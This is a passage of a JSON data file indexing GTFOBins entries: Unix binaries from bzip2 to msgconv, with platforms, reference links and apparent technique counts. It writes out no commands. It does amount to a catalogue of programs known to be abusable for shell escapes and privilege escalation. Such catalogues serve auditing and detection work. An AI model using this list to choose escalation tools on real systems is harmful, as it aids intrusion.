ns.github.io/gtfobins/bzip2/"],"count":3},{"id":"gtfo:cabal","name":"cabal","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/cabal/"],"count":3},{"id":"gtfo:cancel","name":"cancel","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/cancel/"],"count":3},{"id":"gtfo:capsh","name":"capsh","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/capsh/"],"count":3},{"id":"gtfo:cargo","name":"cargo","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/cargo/"],"count":2},{"id":"gtfo:cat","name":"cat","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/cat/"],"count":3},{"id":"gtfo:cdist","name":"cdist","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/cdist/"],"count":2},{"id":"gtfo:certbot","name":"certbot","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/certbot/"],"count":2},{"id":"gtfo:chattr","name":"chattr","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/chattr/"],"count":2},{"id":"gtfo:check_by_ssh","name":"check_by_ssh","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/check_by_ssh/"],"count":2},{"id":"gtfo:check_cups","name":"check_cups","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/check_cups/"],"count":2},{"id":"gtfo:check_log","name":"check_log","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/check_log/"],"count":4},{"id":"gtfo:check_memory","name":"check_memory","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/check_memory/"],"count":2},{"id":"gtfo:check_raid","name":"check_raid","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/check_raid/"],"count":2},{"id":"gtfo:check_ssl_cert","name":"check_ssl_cert","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/check_ssl_cert/"],"count":2},{"id":"gtfo:check_statusfile","name":"check_statusfile","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/check_statusfile/"],"count":2},{"id":"gtfo:chmod","name":"chmod","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/chmod/"],"count":2},{"id":"gtfo:choom","name":"choom","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/choom/"],"count":3},{"id":"gtfo:chown","name":"chown","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/chown/"],"count":2},{"id":"gtfo:chroot","name":"chroot","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/chroot/"],"count":2},{"id":"gtfo:chrt","name":"chrt","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/chrt/"],"count":3},{"id":"gtfo:clamscan","name":"clamscan","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/clamscan/"],"count":3},{"id":"gtfo:clisp","name":"clisp","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/clisp/"],"count":3},{"id":"gtfo:cmake","name":"cmake","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/cmake/"],"count":4},{"id":"gtfo:cmp","name":"cmp","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/cmp/"],"count":3},{"id":"gtfo:cobc","name":"cobc","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/cobc/"],"count":3},{"id":"gtfo:code","name":"code","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/code/"],"count":6},{"id":"gtfo:codex","name":"codex","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/codex/"],"count":2},{"id":"gtfo:column","name":"column","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/column/"],"count":3},{"id":"gtfo:comm","name":"comm","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/comm/"],"count":3},{"id":"gtfo:composer","name":"composer","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/composer/"],"count":2},{"id":"gtfo:cowsay","name":"cowsay","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/cowsay/"],"count":2},{"id":"gtfo:cowthink","name":"cowthink","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/cowthink/"],"count":2},{"id":"gtfo:cp","name":"cp","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/cp/"],"count":10},{"id":"gtfo:cpan","name":"cpan","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/cpan/"],"count":2},{"id":"gtfo:cpio","name":"cpio","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/cpio/"],"count":10},{"id":"gtfo:cpulimit","name":"cpulimit","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/cpulimit/"],"count":3},{"id":"gtfo:crash","name":"crash","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/crash/"],"count":5},{"id":"gtfo:crontab","name":"crontab","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/crontab/"],"count":4},{"id":"gtfo:csh","name":"csh","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/csh/"],"count":6},{"id":"gtfo:csplit","name":"csplit","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/csplit/"],"count":6},{"id":"gtfo:csvtool","name":"csvtool","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/csvtool/"],"count":9},{"id":"gtfo:ctr","name":"ctr","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ctr/"],"count":2},{"id":"gtfo:cupsfilter","name":"cupsfilter","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/cupsfilter/"],"count":3},{"id":"gtfo:curl","name":"curl","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/curl/"],"count":21},{"id":"gtfo:cut","name":"cut","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/cut/"],"count":3},{"id":"gtfo:dash","name":"dash","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/dash/"],"count":6},{"id":"gtfo:date","name":"date","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/date/"],"count":3},{"id":"gtfo:dc","name":"dc","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/dc/"],"count":3},{"id":"gtfo:dd","name":"dd","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/dd/"],"count":6},{"id":"gtfo:debugfs","name":"debugfs","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/debugfs/"],"count":3},{"id":"gtfo:dhclient","name":"dhclient","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/dhclient/"],"count":2},{"id":"gtfo:dialog","name":"dialog","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/dialog/"],"count":3},{"id":"gtfo:diff","name":"diff","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/diff/"],"count":6},{"id":"gtfo:dig","name":"dig","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/dig/"],"count":3},{"id":"gtfo:distcc","name":"distcc","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/distcc/"],"count":3},{"id":"gtfo:dmesg","name":"dmesg","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/dmesg/"],"count":6},{"id":"gtfo:dmidecode","name":"dmidecode","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/dmidecode/"],"count":1},{"id":"gtfo:dmsetup","name":"dmsetup","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/dmsetup/"],"count":3},{"id":"gtfo:dnf","name":"dnf","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/dnf/"],"count":1},{"id":"gtfo:dnsmasq","name":"dnsmasq","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/dnsmasq/"],"count":3},{"id":"gtfo:doas","name":"doas","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/doas/"],"count":2},{"id":"gtfo:docker","name":"docker","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/docker/"],"count":12},{"id":"gtfo:dos2unix","name":"dos2unix","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/dos2unix/"],"count":6},{"id":"gtfo:dosbox","name":"dosbox","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/dosbox/"],"count":9},{"id":"gtfo:dotnet","name":"dotnet","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/dotnet/"],"count":4},{"id":"gtfo:dpkg","name":"dpkg","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/dpkg/"],"count":4},{"id":"gtfo:dstat","name":"dstat","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/dstat/"],"count":2},{"id":"gtfo:dvips","name":"dvips","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/dvips/"],"count":3},{"id":"gtfo:easy_install","name":"easy_install","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/easy_install/"],"count":2},{"id":"gtfo:easyrsa","name":"easyrsa","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/easyrsa/"],"count":3},{"id":"gtfo:eb","name":"eb","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/eb/"],"count":2},{"id":"gtfo:ed","name":"ed","source":"GTFOBins","platform":["Linux","macOS"],"aliases":["red"],"references":["https://gtfobins.github.io/gtfobins/ed/"],"count":9},{"id":"gtfo:efax","name":"efax","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/efax/"],"count":2},{"id":"gtfo:egrep","name":"egrep","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/egrep/"],"count":3},{"id":"gtfo:elvish","name":"elvish","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/elvish/"],"count":9},{"id":"gtfo:emacs","name":"emacs","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/emacs/"],"count":6},{"id":"gtfo:enscript","name":"enscript","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/enscript/"],"count":3},{"id":"gtfo:env","name":"env","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/env/"],"count":3},{"id":"gtfo:eqn","name":"eqn","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/eqn/"],"count":3},{"id":"gtfo:espeak","name":"espeak","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/espeak/"],"count":3},{"id":"gtfo:ex","name":"ex","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ex/"],"count":6},{"id":"gtfo:exiftool","name":"exiftool","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/exiftool/"],"count":12},{"id":"gtfo:expand","name":"expand","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/expand/"],"count":3},{"id":"gtfo:expect","name":"expect","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/expect/"],"count":6},{"id":"gtfo:facter","name":"facter","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/facter/"],"count":4},{"id":"gtfo:fail2ban-client","name":"fail2ban-client","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/fail2ban-client/"],"count":2},{"id":"gtfo:fastfetch","name":"fastfetch","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/fastfetch/"],"count":9},{"id":"gtfo:ffmpeg","name":"ffmpeg","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ffmpeg/"],"count":3},{"id":"gtfo:fgrep","name":"fgrep","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/fgrep/"],"count":3},{"id":"gtfo:file","name":"file","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/file/"],"count":6},{"id":"gtfo:find","name":"find","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/find/"],"count":9},{"id":"gtfo:finger","name":"finger","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/finger/"],"count":6},{"id":"gtfo:firejail","name":"firejail","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/firejail/"],"count":2},{"id":"gtfo:fish","name":"fish","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/fish/"],"count":3},{"id":"gtfo:flock","name":"flock","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/flock/"],"count":3},{"id":"gtfo:fmt","name":"fmt","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/fmt/"],"count":6},{"id":"gtfo:fold","name":"fold","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/fold/"],"count":3},{"id":"gtfo:forge","name":"forge","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/forge/"],"count":3},{"id":"gtfo:fping","name":"fping","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/fping/"],"count":3},{"id":"gtfo:ftp","name":"ftp","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ftp/"],"count":9},{"id":"gtfo:fzf","name":"fzf","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/fzf/"],"count":6},{"id":"gtfo:gawk","name":"gawk","source":"GTFOBins","platform":["Linux","macOS"],"aliases":["nawk"],"references":["https://gtfobins.github.io/gtfobins/gawk/"],"count":15},{"id":"gtfo:gcc","name":"gcc","source":"GTFOBins","platform":["Linux","macOS"],"aliases":["c89","c99","cc","g++"],"references":["https://gtfobins.github.io/gtfobins/gcc/"],"count":8},{"id":"gtfo:gcloud","name":"gcloud","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/gcloud/"],"count":3},{"id":"gtfo:gcore","name":"gcore","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/gcore/"],"count":3},{"id":"gtfo:gdb","name":"gdb","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/gdb/"],"count":10},{"id":"gtfo:gem","name":"gem","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/gem/"],"count":8},{"id":"gtfo:genie","name":"genie","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/genie/"],"count":3},{"id":"gtfo:genisoimage","name":"genisoimage","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/genisoimage/"],"count":6},{"id":"gtfo:getent","name":"getent","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/getent/"],"count":2},{"id":"gtfo:ghc","name":"ghc","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ghc/"],"count":2},{"id":"gtfo:ghci","name":"ghci","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ghci/"],"count":2},{"id":"gtfo:gimp","name":"gimp","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/gimp/"],"count":2},{"id":"gtfo:ginsh","name":"ginsh","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ginsh/"],"count":3},{"id":"gtfo:git","name":"git","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/git/"],"count":17},{"id":"gtfo:gnuplot","name":"gnuplot","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/gnuplot/"],"count":3},{"id":"gtfo:go","name":"go","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/go/"],"count":10},{"id":"gtfo:grc","name":"grc","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/grc/"],"count":2},{"id":"gtfo:grep","name":"grep","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/grep/"],"count":3},{"id":"gtfo:gtester","name":"gtester","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/gtester/"],"count":6},{"id":"gtfo:guile","name":"guile","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/guile/"],"count":3},{"id":"gtfo:gzip","name":"gzip","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/gzip/"],"count":4},{"id":"gtfo:hashcat","name":"hashcat","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/hashcat/"],"count":2},{"id":"gtfo:head","name":"head","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/head/"],"count":3},{"id":"gtfo:hexdump","name":"hexdump","source":"GTFOBins","platform":["Linux","macOS"],"aliases":["hd"],"references":["https://gtfobins.github.io/gtfobins/hexdump/"],"count":3},{"id":"gtfo:hg","name":"hg","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/hg/"],"count":3},{"id":"gtfo:highlight","name":"highlight","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/highlight/"],"count":3},{"id":"gtfo:hping3","name":"hping3","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/hping3/"],"count":4},{"id":"gtfo:iconv","name":"iconv","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/iconv/"],"count":6},{"id":"gtfo:iftop","name":"iftop","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/iftop/"],"count":3},{"id":"gtfo:install","name":"install","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/install/"],"count":2},{"id":"gtfo:ionice","name":"ionice","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ionice/"],"count":3},{"id":"gtfo:ip","name":"ip","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ip/"],"count":6},{"id":"gtfo:iptables-save","name":"iptables-save","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/iptables-save/"],"count":1},{"id":"gtfo:irb","name":"irb","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/irb/"],"count":2},{"id":"gtfo:ispell","name":"ispell","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ispell/"],"count":3},{"id":"gtfo:java","name":"java","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/java/"],"count":2},{"id":"gtfo:jjs","name":"jjs","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/jjs/"],"count":10},{"id":"gtfo:joe","name":"joe","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/joe/"],"count":3},{"id":"gtfo:join","name":"join","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/join/"],"count":3},{"id":"gtfo:journalctl","name":"journalctl","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/journalctl/"],"count":2},{"id":"gtfo:jq","name":"jq","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/jq/"],"count":3},{"id":"gtfo:jrunscript","name":"jrunscript","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/jrunscript/"],"count":11},{"id":"gtfo:jshell","name":"jshell","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/jshell/"],"count":6},{"id":"gtfo:jtag","name":"jtag","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/jtag/"],"count":2},{"id":"gtfo:julia","name":"julia","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/julia/"],"count":15},{"id":"gtfo:knife","name":"knife","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/knife/"],"count":2},{"id":"gtfo:ksshell","name":"ksshell","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ksshell/"],"count":3},{"id":"gtfo:ksu","name":"ksu","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ksu/"],"count":1},{"id":"gtfo:kubectl","name":"kubectl","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/kubectl/"],"count":5},{"id":"gtfo:last","name":"last","source":"GTFOBins","platform":["Linux"],"aliases":["lastb"],"references":["https://gtfobins.github.io/gtfobins/last/"],"count":3},{"id":"gtfo:latex","name":"latex","source":"GTFOBins","platform":["Linux"],"aliases":["xelatex"],"references":["https://gtfobins.github.io/gtfobins/latex/"],"count":9},{"id":"gtfo:latexmk","name":"latexmk","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/latexmk/"],"count":6},{"id":"gtfo:ld.so","name":"ld.so","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ld.so/"],"count":3},{"id":"gtfo:ldconfig","name":"ldconfig","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ldconfig/"],"count":3},{"id":"gtfo:less","name":"less","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/less/"],"count":24},{"id":"gtfo:lftp","name":"lftp","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/lftp/"],"count":3},{"id":"gtfo:links","name":"links","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/links/"],"count":3},{"id":"gtfo:ln","name":"ln","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ln/"],"count":1},{"id":"gtfo:loginctl","name":"loginctl","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/loginctl/"],"count":2},{"id":"gtfo:logrotate","name":"logrotate","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/logrotate/"],"count":7},{"id":"gtfo:logsave","name":"logsave","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/logsave/"],"count":3},{"id":"gtfo:look","name":"look","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/look/"],"count":3},{"id":"gtfo:lp","name":"lp","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/lp/"],"count":3},{"id":"gtfo:ltrace","name":"ltrace","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ltrace/"],"count":7},{"id":"gtfo:lua","name":"lua","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/lua/"],"count":21},{"id":"gtfo:lualatex","name":"lualatex","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/lualatex/"],"count":3},{"id":"gtfo:luatex","name":"luatex","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/luatex/"],"count":3},{"id":"gtfo:lwp-download","name":"lwp-download","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/lwp-download/"],"count":8},{"id":"gtfo:lwp-request","name":"lwp-request","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/lwp-request/"],"count":2},{"id":"gtfo:lxd","name":"lxd","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/lxd/"],"count":4},{"id":"gtfo:m4","name":"m4","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/m4/"],"count":9},{"id":"gtfo:mail","name":"mail","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/mail/"],"count":6},{"id":"gtfo:make","name":"make","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/make/"],"count":9},{"id":"gtfo:man","name":"man","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/man/"],"count":9},{"id":"gtfo:mawk","name":"mawk","source":"GTFOBins","platform":["Linux"],"aliases":["awk"],"references":["https://gtfobins.github.io/gtfobins/mawk/"],"count":9},{"id":"gtfo:minicom","name":"minicom","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/minicom/"],"count":6},{"id":"gtfo:more","name":"more","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/more/"],"count":6},{"id":"gtfo:mosh-server","name":"mosh-server","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/mosh-server/"],"count":1},{"id":"gtfo:mosquitto","name":"mosquitto","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/mosquitto/"],"count":3},{"id":"gtfo:mount","name":"mount","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/mount/"],"count":1},{"id":"gtfo:msfconsole","name":"msfconsole","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/msfconsole/"],"count":2},{"id":"gtfo:msgattrib","name":"msgattrib","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/msgattrib/"],"count":3},{"id":"gtfo:msgcat","name":"msgcat","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/msgcat/"],"count":3},{"id":"gtfo:msgconv","name":"msgconv","source":"GTFOBins","platform":["L